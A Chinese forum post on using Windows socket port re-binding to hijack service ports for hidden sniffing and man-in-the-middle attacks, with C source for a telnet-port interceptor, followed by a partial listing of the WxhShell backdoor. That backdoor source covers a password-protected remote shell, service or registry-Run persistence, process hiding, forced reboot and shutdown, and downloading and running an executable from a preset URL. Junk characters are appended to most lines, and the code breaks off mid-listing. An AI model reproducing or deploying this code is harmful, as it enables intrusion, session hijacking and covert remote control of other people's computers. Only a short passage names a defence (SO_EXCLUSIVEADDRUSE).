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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #e*jP&1S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /!A?>#O&.  
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  saddr.sin_family = AF_INET; {Q~HMe`,  
aUYq~E tj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $GJuS^@%  
+L hV4@zC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /3KPK4!m  
|x+g5~$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jxdX7aik  
NjH` AMGBT  
  这意味着什么?意味着可以进行如下的攻击: A9 ;!\Wo  
r>,s-T!7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 UpFm3gKF  
I(Gl8F\c~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y9r##r+  
H[o >"@4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~Iz{@Ep*  
nmWo:ox4;(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u.rFZu?E\  
 0U&@;/?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iyJx~:  
6 qK`X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 MG-#p8  
ojG;[@V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K'f`}y9  
MJug no  
  #include 7wz9x8\t  
  #include T8W;Lb9hQ  
  #include E]c0+rh~  
  #include    }l<:^lX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ko+fJ&$  
  int main()  \<u  
  { +cwuj  
  WORD wVersionRequested; 8Xx4W^*_  
  DWORD ret; aQHB  
  WSADATA wsaData; #D ]P3  
  BOOL val; ^|UD&6 dx  
  SOCKADDR_IN saddr; KbGz3O'u  
  SOCKADDR_IN scaddr; :>K8oE  
  int err; t->I# t7  
  SOCKET s; *b,4qMr  
  SOCKET sc; h1Nd1h@-   
  int caddsize; 60--6n  
  HANDLE mt; " 7g\X$  
  DWORD tid;   `6RR/~kP(  
  wVersionRequested = MAKEWORD( 2, 2 ); M97MIku~9  
  err = WSAStartup( wVersionRequested, &wsaData ); wO&+Bb\=  
  if ( err != 0 ) { F S!D  
  printf("error!WSAStartup failed!\n"); *nx$r[Mqj  
  return -1; 21sXCmYR,t  
  } 5*\]F}  
  saddr.sin_family = AF_INET; t|?eNKVV9'  
   V: n\skM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r) g:-[Ox9  
FSD~Q&9&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F10TvJ U  
  saddr.sin_port = htons(23); BF/l#)$yK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =:*2t  
  { _V,bvHWlM  
  printf("error!socket failed!\n"); N1yx|g:  
  return -1; ,B1~6y\b  
  } ?bGk%jjHXM  
  val = TRUE; h|%a}])G)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zGtv(gwk  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ht_'GBS)  
  { ZtGtJV"H  
  printf("error!setsockopt failed!\n"); Vb,'VN%   
  return -1; x(7Q5Uk\  
  } td5! S]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q" G;L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Cg3 d  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ST1c`0e  
61Wh %8-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H (tT8Q5i  
  { 1O2jvt7M  
  ret=GetLastError(); Sb.%B^O  
  printf("error!bind failed!\n"); 0b}.!k9  
  return -1; V*gh"gZ<  
  } _)ZxD--Qg  
  listen(s,2); ;T :]?5W!  
  while(1) pEq }b+-  
  { 4u= v  
  caddsize = sizeof(scaddr); 2= zw !  
  //接受连接请求 ,t +sw4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); gX]ewbPDQ  
  if(sc!=INVALID_SOCKET) |ITh2m  
  { f~:wI9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gMsB1|  
  if(mt==NULL) Z '~Ie~  
  { H>F j  
  printf("Thread Creat Failed!\n"); bD`h/jYv  
  break; #z =$*\u  
  } ]cM,m2^2  
  } r2m&z%N &  
  CloseHandle(mt); u]Z;Q_=  
  } 0M!GoqaA  
  closesocket(s); m,)o&ix1  
  WSACleanup(); (bAw>  
  return 0; d' l|oeS  
  }   CU@}{}Yl  
  DWORD WINAPI ClientThread(LPVOID lpParam) mo"1|Q&  
  { y\_k8RqE^  
  SOCKET ss = (SOCKET)lpParam; #ri;{d^6  
  SOCKET sc; m4?a'z"  
  unsigned char buf[4096]; et=i@PB)  
  SOCKADDR_IN saddr; l4ru0V8s7  
  long num; 0i(c XB  
  DWORD val; ^s\T<;  
  DWORD ret; 4{ [d '-H5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5c$\DZ(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z) x.6  
  saddr.sin_family = AF_INET; XD Q<28^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dP?QPky{9  
  saddr.sin_port = htons(23); Lk.tEuj=82  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y|S>{$W  
  { V[0 ZNT&  
  printf("error!socket failed!\n"); F *1w8+  
  return -1; [l}H%S   
  } x/0loW?q^  
  val = 100; }$b!/<7FD  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S0`u!l89(  
  { VIg6'  
  ret = GetLastError(); L *cP8v4  
  return -1; U|Uc|6  
  } XTRF IY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]CDUHz  
  {  'Pxq>Os  
  ret = GetLastError(); CU:HTz=  
  return -1; \ 027>~u {  
  } JCci*F#r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MzH'<`;BP  
  { ?JBA`,-  
  printf("error!socket connect failed!\n"); 4 %V9  
  closesocket(sc); PMT}fg  
  closesocket(ss); 9"zp>VR  
  return -1; $b)t`r+  
  } (4|R}jv  
  while(1) g3 Oro}wt6  
  { ={;7WB$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QD-`jV3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &ET$ca`j#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $Z3{D:-)  
  num = recv(ss,buf,4096,0); QH_Ds,oH=  
  if(num>0) v#?;PyeF  
  send(sc,buf,num,0); k *D8IB  
  else if(num==0) u4$R ZTC  
  break; fZcA{$Vc]N  
  num = recv(sc,buf,4096,0); +J#8w h  
  if(num>0) 5fRrd;  
  send(ss,buf,num,0); B$qTH5)W  
  else if(num==0) 'Fql;&U >  
  break; Q%524%f$  
  } /vC!__K9:  
  closesocket(ss); }X. Fm'`  
  closesocket(sc); @^/aS;B$>  
  return 0 ; +ViL"  
  } E u<f  
- ,?LS w  
nu Vux5:  
========================================================== %y7ZcH'  
.osG"cS  
下边附上一个代码,,WXhSHELL qWf[X'  
USaa#s4'  
========================================================== 2A:&Cqo  
WNt':w^_  
#include "stdafx.h" w[$oH^7  
m&s>Sn+  
#include <stdio.h> AD+OQLG]`  
#include <string.h> &TL"Hd  
#include <windows.h> +d7 Arg!m  
#include <winsock2.h> aKE`nA0\B  
#include <winsvc.h> kP'm$+1or  
#include <urlmon.h> p:W{c/tV  
5nTcd@lX  
#pragma comment (lib, "Ws2_32.lib") ":q+"*fy  
#pragma comment (lib, "urlmon.lib") *Ms&WYN-  
I;n <) >  
#define MAX_USER   100 // 最大客户端连接数 TZGk[u^*  
#define BUF_SOCK   200 // sock buffer s6r(\L_Im  
#define KEY_BUFF   255 // 输入 buffer Mdh]qKw  
o1"N{ Eu  
#define REBOOT     0   // 重启 d]:G#<.  
#define SHUTDOWN   1   // 关机 pjl>ZoOM  
H_Xk;fM  
#define DEF_PORT   5000 // 监听端口 v+}${h9  
:LlZ#V2  
#define REG_LEN     16   // 注册表键长度 9C=*>I27?  
#define SVC_LEN     80   // NT服务名长度 IZ\fvYp  
*}T|T%L4)  
// 从dll定义API 8_ o~0lb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |5ge4,}0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3rd8mh&l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EJRkFn8XG'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ke=+D'=  
6kMkFZ}+  
// wxhshell配置信息 \ \Tz'>[\  
struct WSCFG {  D[}^G5  
  int ws_port;         // 监听端口 t&NpC;>v  
  char ws_passstr[REG_LEN]; // 口令 UR9\g(  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,7k-LAA  
  char ws_regname[REG_LEN]; // 注册表键名 ALcPbr  
  char ws_svcname[REG_LEN]; // 服务名 z"mpw mv5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8!HB$vdw7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cx ("F /Jm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h&n1}W+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z&Aya*0v`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t\ a|Gp W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p&5>j\uJ1&  
y/kB`Z(Yj  
}; CJ7S5   
q VI0?B x  
// default Wxhshell configuration =9W\;xE S  
struct WSCFG wscfg={DEF_PORT, }/h&`0z `  
    "xuhuanlingzhe", t72rCq QC  
    1, KU*aJl_n,  
    "Wxhshell", k<M Q  
    "Wxhshell", 7S^G]g!x  
            "WxhShell Service", 8qaU[u&$  
    "Wrsky Windows CmdShell Service", g<,0kl2'S  
    "Please Input Your Password: ", H5&._  
  1, co1aG,>"q  
  "http://www.wrsky.com/wxhshell.exe", rZcSG(d`53  
  "Wxhshell.exe" uubIL +  
    }; 17,mqXX>  
+GL$[ 5G  
// 消息定义模块 aWH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;E[Q/ tr:w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V"'PA-z3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p Pag@L  
char *msg_ws_ext="\n\rExit."; rGXUV`5Na  
char *msg_ws_end="\n\rQuit."; RjTGm=1w  
char *msg_ws_boot="\n\rReboot..."; <P'FqQ]  
char *msg_ws_poff="\n\rShutdown..."; 'TuaP `]<  
char *msg_ws_down="\n\rSave to "; !c{F{ t-a  
LkP :l  
char *msg_ws_err="\n\rErr!"; Xx%<rsA>F  
char *msg_ws_ok="\n\rOK!"; IGT9}24  
SD{)Sq  
char ExeFile[MAX_PATH]; mw}Bl; - O  
int nUser = 0; [ p~,;%  
HANDLE handles[MAX_USER]; nxx/26{  
int OsIsNt; &"I csxG  
Dg"szJ-   
SERVICE_STATUS       serviceStatus; K)se$vb6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yN0`JI  
y22DBB8  
// 函数声明 GN9kCyPK  
int Install(void); a@ <-L  
int Uninstall(void); %+Y wzL{  
int DownloadFile(char *sURL, SOCKET wsh); _H@ATut  
int Boot(int flag); Z<^!N)  
void HideProc(void); ,W|-?b?   
int GetOsVer(void); K1BBCe  
int Wxhshell(SOCKET wsl); ciiI{T[Z  
void TalkWithClient(void *cs); '21gUYm  
int CmdShell(SOCKET sock); %2\tly!{ %  
int StartFromService(void); z7gX@@T  
int StartWxhshell(LPSTR lpCmdLine); DcdEt=\)h  
Hh*?[-&r~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xE]y*\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^3S&LC 1;|  
V$w lOMp  
// 数据结构和表定义 5oSp/M  
SERVICE_TABLE_ENTRY DispatchTable[] = :$,MAQ'9  
{ ed}#S~4q  
{wscfg.ws_svcname, NTServiceMain}, Y&8,f|{R  
{NULL, NULL} GGr82)E  
}; 2 \}J*0  
6]d]0TW_  
// 自我安装 qP<D9k>  
int Install(void) m%apGp'=1  
{ KR%WBvv   
  char svExeFile[MAX_PATH]; X!/Sk1  
  HKEY key; Iz#4!E|<  
  strcpy(svExeFile,ExeFile); .(.<  
!|i #g$  
// 如果是win9x系统,修改注册表设为自启动 ;H.V-~:P)  
if(!OsIsNt) { +kQ=2dva  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^]D1':  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MuQ)F-GSUu  
  RegCloseKey(key); %)?jaE}[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LybaE~=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); geqP.MR  
  RegCloseKey(key); *|Er;Thw  
  return 0; 3Cc#{X-+  
    } D\9-/ p  
  } C!Srv 7  
} \3^ue0  
else { 1O NkmVtL  
megTp  
// 如果是NT以上系统,安装为系统服务 AH5;6Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); htR.p7&Tn  
if (schSCManager!=0) -X~|jF  
{ t4G$#~  
  SC_HANDLE schService = CreateService &0q pgl|  
  ( )Hmf=eoc  
  schSCManager, vno/V#e$WX  
  wscfg.ws_svcname, ktx| c19  
  wscfg.ws_svcdisp, D_0Vu/v  
  SERVICE_ALL_ACCESS, j]<K%lwp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B5|\<CF  
  SERVICE_AUTO_START, }UB@FRPF  
  SERVICE_ERROR_NORMAL, S#y[_C?H  
  svExeFile, HNv~ZAzBG-  
  NULL, Cd"{7<OyM4  
  NULL, wN4#j}C  
  NULL, !e~[U-  
  NULL, C` ky=  
  NULL >20dK  
  ); -|KZOea  
  if (schService!=0) PBCGC^0{  
  { =(D"(OsQ/  
  CloseServiceHandle(schService); h )5S4)  
  CloseServiceHandle(schSCManager); @;P ;iI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /G'3!S  
  strcat(svExeFile,wscfg.ws_svcname); A8*zB=C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U].]K   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ">z3i`#C'  
  RegCloseKey(key); tMX$8W0 c  
  return 0; 62qjU<Z  
    } % J^x `P  
  } ^zQI_ydG  
  CloseServiceHandle(schSCManager); 60u_,@rV  
} qE8aX*A1/  
} #xw*;hW<  
!h7.xl OpN  
return 1; iP"sw0V8  
} +|,4g_(j  
I"vkfi#=  
// 自我卸载 X]D,kKasG  
int Uninstall(void) DI{*E  
{ 9"]#.A^Q*  
  HKEY key; ucx02^uA  
%8tE*3iUF  
if(!OsIsNt) { @|vH5Pi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }\?9Prsd  
  RegDeleteValue(key,wscfg.ws_regname); x'I!f? / &  
  RegCloseKey(key); </`\3t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?}4,s7PR  
  RegDeleteValue(key,wscfg.ws_regname); ebQgk Y=  
  RegCloseKey(key); kt978qfk  
  return 0; W H/.h$  
  } ZDW=>}~_y  
} /GC&@y0yi  
} F9u?+y-xb  
else { 5MAfuHq^  
^F+7<$ 2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TjEXR$:<  
if (schSCManager!=0) =#S.t:HQ*  
{ JN|6+.GG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1d<Uwb>  
  if (schService!=0) aY>v  
  { *b. >  
  if(DeleteService(schService)!=0) { nJ2x;';lA  
  CloseServiceHandle(schService); PU/<7P*  
  CloseServiceHandle(schSCManager); 96(Mu% l  
  return 0; 6^ [ 4.D  
  } |2u=3#Jp  
  CloseServiceHandle(schService); ?!U[~Gq  
  } @I`^\oJ  
  CloseServiceHandle(schSCManager); hDW!pnj1  
} |j`73@6   
} c Rq2 re  
VIP7j(#t_g  
return 1; 5o dT\>Sn  
} <Kv$3y  
, ,{UGe 3  
// 从指定url下载文件 1 &9|~">{C  
int DownloadFile(char *sURL, SOCKET wsh) @a?7D;+<  
{ Z)#UCoK!c  
  HRESULT hr; a,c!#iyl3  
char seps[]= "/"; 9_?xAJ  
char *token; "+ou!YK+  
char *file; <ukBAux,D  
char myURL[MAX_PATH]; >Q\Kc=Q|  
char myFILE[MAX_PATH]; E=p+z"Ui  
Y"GNJtsL"  
strcpy(myURL,sURL); n|~y >w4  
  token=strtok(myURL,seps); zXn-E  
  while(token!=NULL) PC#^L$cg}  
  { #_wq#rF  
    file=token; $s/E } X  
  token=strtok(NULL,seps); >5t%_/yeB  
  } @i1e0;\  
"%gsGtS  
GetCurrentDirectory(MAX_PATH,myFILE); :hX[8u  
strcat(myFILE, "\\"); qq| 5[I.?  
strcat(myFILE, file); ukW&\  
  send(wsh,myFILE,strlen(myFILE),0); FQDf?d5  
send(wsh,"...",3,0); N7+L@CC6T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3 !@  
  if(hr==S_OK) "d_wu#fO)  
return 0; kt/,& oKI  
else s{Z)<n03  
return 1; MY^{[ #Q  
F~mIV;BP  
} {arqcILr  
ZD]1C ~)  
// 系统电源模块 "La;$7ds  
int Boot(int flag) R-13DVK  
{ f<Hi=Qpm  
  HANDLE hToken; li r=0oq<  
  TOKEN_PRIVILEGES tkp; T }}2J/sj  
'+PKGmRW  
  if(OsIsNt) { `<C<[JP:o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9{toPED  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6Yj{% G  
    tkp.PrivilegeCount = 1; uZ!YGv0^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YX0ysE*V:&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;.A}c)b  
if(flag==REBOOT) { AG N/kx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i+*!" /De  
  return 0; P=QxfX0B  
} 9r!8BjA  
else { %=`JWLLG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kJWg},-\  
  return 0; 7>JTQ CJ  
} {{?g%mQ6  
  } Xu]~vik  
  else { 2?JV "O=  
if(flag==REBOOT) { Lgg,K//g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;A*SuFbV  
  return 0; 'a ['lF  
} 5?kfE  
else { ?h= n5}Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v`HE R6  
  return 0; nI\6a G?`  
} ju"z  
} uzy5rA==  
9P?0D  
return 1; #Iw(+%D  
} $ Habhw  
jx: IK  
// win9x进程隐藏模块 w&p+mJL.  
void HideProc(void) 3 jZMXEG)  
{ 4b8G 1fm  
9L=mS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~]?:v,UIm(  
  if ( hKernel != NULL )  Aqy w  
  { 1)ue-(o5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uE-(^u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4ax{Chn  
    FreeLibrary(hKernel); sTM;l,  
  } T6U/}&{O  
zJe KB8  
return; oP&/>GmXL  
} z5E%*]  
aSzI5J]/=  
// 获取操作系统版本 `q^#u  
int GetOsVer(void) L:$4o  
{ ge~@}&#iO@  
  OSVERSIONINFO winfo; *]$B 9zVs!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xE/?ncTK^  
  GetVersionEx(&winfo); XUqorE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wPlM= .Hq?  
  return 1; jm}CrqU  
  else QJ|@Y(KV0  
  return 0; Ipp_}tl_  
} R'>!1\?Iq  
&."$kfA+  
// 客户端句柄模块 sh<Q2X  
int Wxhshell(SOCKET wsl) \T7Mt|f:5  
{ a>wCBkD  
  SOCKET wsh; Ep7MU&O0iK  
  struct sockaddr_in client; 6d-\+ t8  
  DWORD myID; 4&iQo'  
sy: xA w  
  while(nUser<MAX_USER) 4Yj1Etq.E  
{ .ZTvOm'mB^  
  int nSize=sizeof(client); Ez3fL&*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {w@qFE'b  
  if(wsh==INVALID_SOCKET) return 1; o`bch? ]  
xye-Z\-t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g6GkA.!X$  
if(handles[nUser]==0) %~u]|q<{  
  closesocket(wsh); ^P) f]GQx  
else K@JZ$  
  nUser++; W__ArV2Z_  
  } #@R0$x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B `(jTL  
Z(mUU]  
  return 0; \ TV  
} Rs%`6et}\  
1[FN: hm  
// 关闭 socket 5^B79A"}  
void CloseIt(SOCKET wsh) nV' 1 $L#  
{ O2w-nd74U  
closesocket(wsh); zF1!a  
nUser--; Abc{<4 z0?  
ExitThread(0); [9m3@Yd'  
} AGlBvRX7e  
G@]3EP  
// 客户端请求句柄 Hfcpqa  
void TalkWithClient(void *cs) oaIk1U;g  
{ ~k"+5bHa*  
'6so(>|  
  SOCKET wsh=(SOCKET)cs; g'"~'  
  char pwd[SVC_LEN]; LrB 0x>  
  char cmd[KEY_BUFF]; x~5uc$  
char chr[1]; R~vGaxZ$  
int i,j; d$t"Vp  
Q:}]-lJg  
  while (nUser < MAX_USER) { MpV<E0CmE  
0SQ!lr  
if(wscfg.ws_passstr) { ~ao:9 ynY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YQBLbtn6(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V6]6KP#D  
  //ZeroMemory(pwd,KEY_BUFF); [Vd$FDki  
      i=0; X1j8tg  
  while(i<SVC_LEN) { iT]t`7R  
Rh>B# \  
  // 设置超时 $7x2TiAL  
  fd_set FdRead; mRk)5{  
  struct timeval TimeOut; +QChD*  
  FD_ZERO(&FdRead); #:K=zV\  
  FD_SET(wsh,&FdRead); F/5&:e?( )  
  TimeOut.tv_sec=8; 8z=# 0+0  
  TimeOut.tv_usec=0; _$~>O7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7J'%;sH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tl#sCf!c  
Vk2$b{VdF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wKJG 31I^  
  pwd=chr[0]; c%H' jB [  
  if(chr[0]==0xd || chr[0]==0xa) { !T 6R[  
  pwd=0; Oa|c ?|+  
  break; |RX#5Q>z  
  } eqx }]#  
  i++; 1I Xtu   
    } *2AD#yIKC  
Uh }PB3WZ  
  // 如果是非法用户,关闭 socket 2]!@)fio`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xS*UY.>  
} HsY5wC  
-3Kh >b)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6o't3Peh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sSM"~_y\  
l;-Ml{}|0  
while(1) { j G8;p41  
Knwy%5.Z  
  ZeroMemory(cmd,KEY_BUFF); O1c%XwMn^  
N J3;[qJ  
      // 自动支持客户端 telnet标准   VotC YJ  
  j=0; sf*4|P}  
  while(j<KEY_BUFF) { *+M#D^qo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {j2V k)\[i  
  cmd[j]=chr[0]; Dqy`7?Kn  
  if(chr[0]==0xa || chr[0]==0xd) { (0-Ol9[  
  cmd[j]=0; \}Q=q$)  
  break; #2tmi1 ya  
  } _w^,j"  
  j++; %>KbaM1b  
    } VjQ&A#   
H0l1=y  
  // 下载文件 HNzxF nh  
  if(strstr(cmd,"http://")) { ?f?5Kye  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C'6I< YX  
  if(DownloadFile(cmd,wsh)) '$ei3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YxF@1_g  
  else sd%j&Su#4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #GzALF97  
  } nrac )W  
  else { t G_4>-Y#w  
IJ^~,+  
    switch(cmd[0]) { 'a#lBzu\b  
  5`h$^l/  
  // 帮助 R)NSJ-A!2  
  case '?': { !%>RHh[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {_9O4 + &  
    break; =?5)M_6)  
  } FnvpnU",  
  // 安装 GJ9>i)+h;  
  case 'i': { yD+4YD  
    if(Install()) C`5'5/-.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yl[I'fX66  
    else Ss[[V(-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,i:?c  
    break; !XPjRdq  
    } W[2]$TwT  
  // 卸载 Xa[k=qFo  
  case 'r': { =j.TDv'^nd  
    if(Uninstall()) t3<MoDe7`r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ZWAXl $  
    else 'D\X$^J^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,s8/6n#  
    break; +_GS@)L`%  
    } 3^8Cc(bk  
  // 显示 wxhshell 所在路径 4]o+)d.`(  
  case 'p': { Y'U1=w~E  
    char svExeFile[MAX_PATH]; y:'Ns$+  
    strcpy(svExeFile,"\n\r"); 5B=uvp|Y  
      strcat(svExeFile,ExeFile); tZ_'>7)  
        send(wsh,svExeFile,strlen(svExeFile),0); M(X _I`\E  
    break; wQ33Gc  
    } ] Q5:JV  
  // 重启 .psb# 4  
  case 'b': { AC RuDY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ht[$s40P  
    if(Boot(REBOOT)) &'uP?r9c$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '=dQ$fs  
    else { h;V 4|jM  
    closesocket(wsh); $|K: 9  
    ExitThread(0); juF9:Eah  
    } \.Lj A_  
    break;  "J(M.Y  
    } J!:BCjRdw  
  // 关机  ?eS;Yc  
  case 'd': { 'f( CN3.!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X1#Ar)  
